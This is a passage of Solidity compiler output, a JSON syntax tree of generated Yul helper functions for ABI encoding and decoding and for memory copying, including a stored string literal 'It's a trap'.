"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "3784:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3784:17:1"
}
],
"functionName": {
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulIdentifier",
"src": "3737:37:1"
},
"nodeType": "YulFunctionCall",
"src": "3737:65:1"
},
"nodeType": "YulExpressionStatement",
"src": "3737:65:1"
}
]
},
"name": "abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "3663:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "3675:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "3686:4:1",
"type": ""
}
],
"src": "3599:210:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3860:81:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "3870:65:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "3885:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "3892:42:1",
"type": "",
"value": "0xffffffffffffffffffffffffffffffffffffffff"
}
],
"functionName": {
"name": "and",
"nodeType": "YulIdentifier",
"src": "3881:3:1"
},
"nodeType": "YulFunctionCall",
"src": "3881:54:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "3870:7:1"
}
]
}
]
},
"name": "cleanup_t_uint160",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3842:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "3852:7:1",
"type": ""
}
],
"src": "3815:126:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "3992:51:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4002:35:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4031:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint160",
"nodeType": "YulIdentifier",
"src": "4013:17:1"
},
"nodeType": "YulFunctionCall",
"src": "4013:24:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "4002:7:1"
}
]
}
]
},
"name": "cleanup_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "3974:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "3984:7:1",
"type": ""
}
],
"src": "3947:96:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4092:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "4149:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4158:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4161:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "4151:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4151:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "4151:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4115:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4140:5:1"
}
],
"functionName": {
"name": "cleanup_t_address",
"nodeType": "YulIdentifier",
"src": "4122:17:1"
},
"nodeType": "YulFunctionCall",
"src": "4122:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "4112:2:1"
},
"nodeType": "YulFunctionCall",
"src": "4112:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "4105:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4105:43:1"
},
"nodeType": "YulIf",
"src": "4102:63:1"
}
]
},
"name": "validator_revert_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4085:5:1",
"type": ""
}
],
"src": "4049:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4229:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4239:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "4261:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "4248:12:1"
},
"nodeType": "YulFunctionCall",
"src": "4248:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4239:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4304:5:1"
}
],
"functionName": {
"name": "validator_revert_t_address",
"nodeType": "YulIdentifier",
"src": "4277:26:1"
},
"nodeType": "YulFunctionCall",
"src": "4277:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "4277:33:1"
}
]
},
"name": "abi_decode_t_address",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "4207:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "4215:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4223:5:1",
"type": ""
}
],
"src": "4177:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4367:32:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4377:16:1",
"value": {
"name": "value",
"nodeType": "YulIdentifier",
"src": "4388:5:1"
},
"variableNames": [
{
"name": "cleaned",
"nodeType": "YulIdentifier",
"src": "4377:7:1"
}
]
}
]
},
"name": "cleanup_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4349:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "cleaned",
"nodeType": "YulTypedName",
"src": "4359:7:1",
"type": ""
}
],
"src": "4322:77:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4448:79:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "4505:16:1",
"statements": [
{
"expression": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4514:1:1",
"type": "",
"value": "0"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4517:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "revert",
"nodeType": "YulIdentifier",
"src": "4507:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4507:12:1"
},
"nodeType": "YulExpressionStatement",
"src": "4507:12:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4471:5:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4496:5:1"
}
],
"functionName": {
"name": "cleanup_t_uint256",
"nodeType": "YulIdentifier",
"src": "4478:17:1"
},
"nodeType": "YulFunctionCall",
"src": "4478:24:1"
}
],
"functionName": {
"name": "eq",
"nodeType": "YulIdentifier",
"src": "4468:2:1"
},
"nodeType": "YulFunctionCall",
"src": "4468:35:1"
}
],
"functionName": {
"name": "iszero",
"nodeType": "YulIdentifier",
"src": "4461:6:1"
},
"nodeType": "YulFunctionCall",
"src": "4461:43:1"
},
"nodeType": "YulIf",
"src": "4458:63:1"
}
]
},
"name": "validator_revert_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4441:5:1",
"type": ""
}
],
"src": "4405:122:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4585:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "4595:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "4617:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "4604:12:1"
},
"nodeType": "YulFunctionCall",
"src": "4604:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4595:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "4660:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "4633:26:1"
},
"nodeType": "YulFunctionCall",
"src": "4633:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "4633:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "4563:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "4571:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "4579:5:1",
"type": ""
}
],
"src": "4533:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "4788:689:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "4834:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "4836:77:1"
},
"nodeType": "YulFunctionCall",
"src": "4836:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "4836:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "4809:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "4818:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "4805:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4805:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "4830:2:1",
"type": "",
"value": "96"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "4801:3:1"
},
"nodeType": "YulFunctionCall",
"src": "4801:32:1"
},
"nodeType": "YulIf",
"src": "4798:119:1"
},
{
"nodeType": "YulBlock",
"src": "4927:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "4942:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "4956:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "4946:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "4971:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5006:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "5017:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5002:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5002:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "5026:7:1"
}
],
"functionName": {
"name": "abi_decode_t_address",
"nodeType": "YulIdentifier",
"src": "4981:20:1"
},
"nodeType": "YulFunctionCall",
"src": "4981:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "4971:6:1"
}
]
}
]
},
{
"nodeType": "YulBlock",
"src": "5054:118:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "5069:16:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "5083:2:1",
"type": "",
"value": "32"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "5073:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "5099:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5134:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "5145:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5130:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5130:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "5154:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "5109:20:1"
},
"nodeType": "YulFunctionCall",
"src": "5109:53:1"
},
"variableNames": [
{
"name": "value1",
"nodeType": "YulIdentifier",
"src": "5099:6:1"
}
]
}
]
},
{
"nodeType": "YulBlock",
"src": "5182:288:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "5197:46:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5228:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5239:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5224:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5224:18:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "5211:12:1"
},
"nodeType": "YulFunctionCall",
"src": "5211:32:1"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "5201:6:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "5290:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db",
"nodeType": "YulIdentifier",
"src": "5292:77:1"
},
"nodeType": "YulFunctionCall",
"src": "5292:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "5292:79:1"
}
]
},
"condition": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "5262:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5270:18:1",
"type": "",
"value": "0xffffffffffffffff"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "5259:2:1"
},
"nodeType": "YulFunctionCall",
"src": "5259:30:1"
},
"nodeType": "YulIf",
"src": "5256:117:1"
},
{
"nodeType": "YulAssignment",
"src": "5387:73:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "5432:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "5443:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5428:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5428:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "5452:7:1"
}
],
"functionName": {
"name": "abi_decode_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "5397:30:1"
},
"nodeType": "YulFunctionCall",
"src": "5397:63:1"
},
"variableNames": [
{
"name": "value2",
"nodeType": "YulIdentifier",
"src": "5387:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_addresst_uint256t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "4742:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "4753:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "4765:6:1",
"type": ""
},
{
"name": "value1",
"nodeType": "YulTypedName",
"src": "4773:6:1",
"type": ""
},
{
"name": "value2",
"nodeType": "YulTypedName",
"src": "4781:6:1",
"type": ""
}
],
"src": "4678:799:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5542:40:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "5553:22:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "5569:5:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "5563:5:1"
},
"nodeType": "YulFunctionCall",
"src": "5563:12:1"
},
"variableNames": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5553:6:1"
}
]
}
]
},
"name": "array_length_t_string_memory_ptr",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "5525:5:1",
"type": ""
}
],
"returnVariables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "5535:6:1",
"type": ""
}
],
"src": "5483:99:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5684:73:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5701:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5706:6:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5694:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5694:19:1"
},
"nodeType": "YulExpressionStatement",
"src": "5694:19:1"
},
{
"nodeType": "YulAssignment",
"src": "5722:29:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "5741:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5746:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5737:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5737:14:1"
},
"variableNames": [
{
"name": "updated_pos",
"nodeType": "YulIdentifier",
"src": "5722:11:1"
}
]
}
]
},
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "5656:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "5661:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "updated_pos",
"nodeType": "YulTypedName",
"src": "5672:11:1",
"type": ""
}
],
"src": "5588:169:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5812:258:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "5822:10:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "5831:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "i",
"nodeType": "YulTypedName",
"src": "5826:1:1",
"type": ""
}
]
},
{
"body": {
"nodeType": "YulBlock",
"src": "5891:63:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "5916:3:1"
},
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "5921:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5912:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5912:11:1"
},
{
"arguments": [
{
"arguments": [
{
"name": "src",
"nodeType": "YulIdentifier",
"src": "5935:3:1"
},
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "5940:1:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5931:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5931:11:1"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "5925:5:1"
},
"nodeType": "YulFunctionCall",
"src": "5925:18:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "5905:6:1"
},
"nodeType": "YulFunctionCall",
"src": "5905:39:1"
},
"nodeType": "YulExpressionStatement",
"src": "5905:39:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "5852:1:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5855:6:1"
}
],
"functionName": {
"name": "lt",
"nodeType": "YulIdentifier",
"src": "5849:2:1"
},
"nodeType": "YulFunctionCall",
"src": "5849:13:1"
},
"nodeType": "YulForLoop",
"post": {
"nodeType": "YulBlock",
"src": "5863:19:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "5865:15:1",
"value": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "5874:1:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "5877:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "5870:3:1"
},
"nodeType": "YulFunctionCall",
"src": "5870:10:1"
},
"variableNames": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "5865:1:1"
}
]
}
]
},
"pre": {
"nodeType": "YulBlock",
"src": "5845:3:1",
"statements": []
},
"src": "5841:113:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "5988:76:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "dst",
"nodeType": "YulIdentifier",
"src": "6038:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "6043:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6034:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6034:16:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6052:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "6027:6:1"
},
"nodeType": "YulFunctionCall",
"src": "6027:27:1"
},
"nodeType": "YulExpressionStatement",
"src": "6027:27:1"
}
]
},
"condition": {
"arguments": [
{
"name": "i",
"nodeType": "YulIdentifier",
"src": "5969:1:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "5972:6:1"
}
],
"functionName": {
"name": "gt",
"nodeType": "YulIdentifier",
"src": "5966:2:1"
},
"nodeType": "YulFunctionCall",
"src": "5966:13:1"
},
"nodeType": "YulIf",
"src": "5963:101:1"
}
]
},
"name": "copy_memory_to_memory",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "src",
"nodeType": "YulTypedName",
"src": "5794:3:1",
"type": ""
},
{
"name": "dst",
"nodeType": "YulTypedName",
"src": "5799:3:1",
"type": ""
},
{
"name": "length",
"nodeType": "YulTypedName",
"src": "5804:6:1",
"type": ""
}
],
"src": "5763:307:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "6168:272:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "6178:53:1",
"value": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "6225:5:1"
}
],
"functionName": {
"name": "array_length_t_string_memory_ptr",
"nodeType": "YulIdentifier",
"src": "6192:32:1"
},
"nodeType": "YulFunctionCall",
"src": "6192:39:1"
},
"variables": [
{
"name": "length",
"nodeType": "YulTypedName",
"src": "6182:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "6240:78:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6306:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "6311:6:1"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "6247:58:1"
},
"nodeType": "YulFunctionCall",
"src": "6247:71:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6240:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "6353:5:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6360:4:1",
"type": "",
"value": "0x20"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6349:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6349:16:1"
},
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6367:3:1"
},
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "6372:6:1"
}
],
"functionName": {
"name": "copy_memory_to_memory",
"nodeType": "YulIdentifier",
"src": "6327:21:1"
},
"nodeType": "YulFunctionCall",
"src": "6327:52:1"
},
"nodeType": "YulExpressionStatement",
"src": "6327:52:1"
},
{
"nodeType": "YulAssignment",
"src": "6388:46:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "6399:3:1"
},
{
"arguments": [
{
"name": "length",
"nodeType": "YulIdentifier",
"src": "6426:6:1"
}
],
"functionName": {
"name": "round_up_to_mul_of_32",
"nodeType": "YulIdentifier",
"src": "6404:21:1"
},
"nodeType": "YulFunctionCall",
"src": "6404:29:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6395:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6395:39:1"
},
"variableNames": [
{
"name": "end",
"nodeType": "YulIdentifier",
"src": "6388:3:1"
}
]
}
]
},
"name": "abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "6149:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "6156:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "end",
"nodeType": "YulTypedName",
"src": "6164:3:1",
"type": ""
}
],
"src": "6076:364:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "6564:195:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "6574:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6586:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6597:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6582:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6582:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6574:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6621:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6632:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6617:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6617:17:1"
},
{
"arguments": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6640:4:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "6646:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "6636:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6636:20:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "6610:6:1"
},
"nodeType": "YulFunctionCall",
"src": "6610:47:1"
},
"nodeType": "YulExpressionStatement",
"src": "6610:47:1"
},
{
"nodeType": "YulAssignment",
"src": "6666:86:1",
"value": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "6738:6:1"
},
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6747:4:1"
}
],
"functionName": {
"name": "abi_encode_t_string_memory_ptr_to_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "6674:63:1"
},
"nodeType": "YulFunctionCall",
"src": "6674:78:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "6666:4:1"
}
]
}
]
},
"name": "abi_encode_tuple_t_string_memory_ptr__to_t_string_memory_ptr__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "6536:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "6548:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "6559:4:1",
"type": ""
}
],
"src": "6446:313:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "6871:55:1",
"statements": [
{
"expression": {
"arguments": [
{
"arguments": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "6893:6:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "6901:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "6889:3:1"
},
"nodeType": "YulFunctionCall",
"src": "6889:14:1"
},
{
"hexValue": "4974277320612074726170",
"kind": "string",
"nodeType": "YulLiteral",
"src": "6905:13:1",
"type": "",
"value": "It's a trap"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "6882:6:1"
},
"nodeType": "YulFunctionCall",
"src": "6882:37:1"
},
"nodeType": "YulExpressionStatement",
"src": "6882:37:1"
}
]
},
"name": "store_literal_in_memory_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "6863:6:1",
"type": ""
}
],
"src": "6765:161:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "7078:220:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "7088:74:1",
"value": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7154:3:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "7159:2:1",
"type": "",
"value": "11"
}
],
"functionName": {
"name": "array_storeLengthForEncoding_t_string_memory_ptr_fromStack",
"nodeType": "YulIdentifier",
"src": "7095:58:1"
},
"nodeType": "YulFunctionCall",
"src": "7095:67:1"
},
"variableNames": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7088:3:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "7260:3:1"
}
],
"functionName": {
"name": "store_literal_in_memory_72a9637f0d7174f748cb3dfe0a93655d7fd6effca1e657f3eed12b0e576eb0c6",
"nodeType": "YulIdentifier",
"src": "7171:88:1"
},
"nodeType": "YulFunctionCall",
"src": "7171:93:1"
},
"nodeType": "YulExpressionStatement",
"src": "7171:93:1"
},
{
"nodeType": "YulAssignment",
"src": "7273:19:1",
"value": {
"arguments": [
{
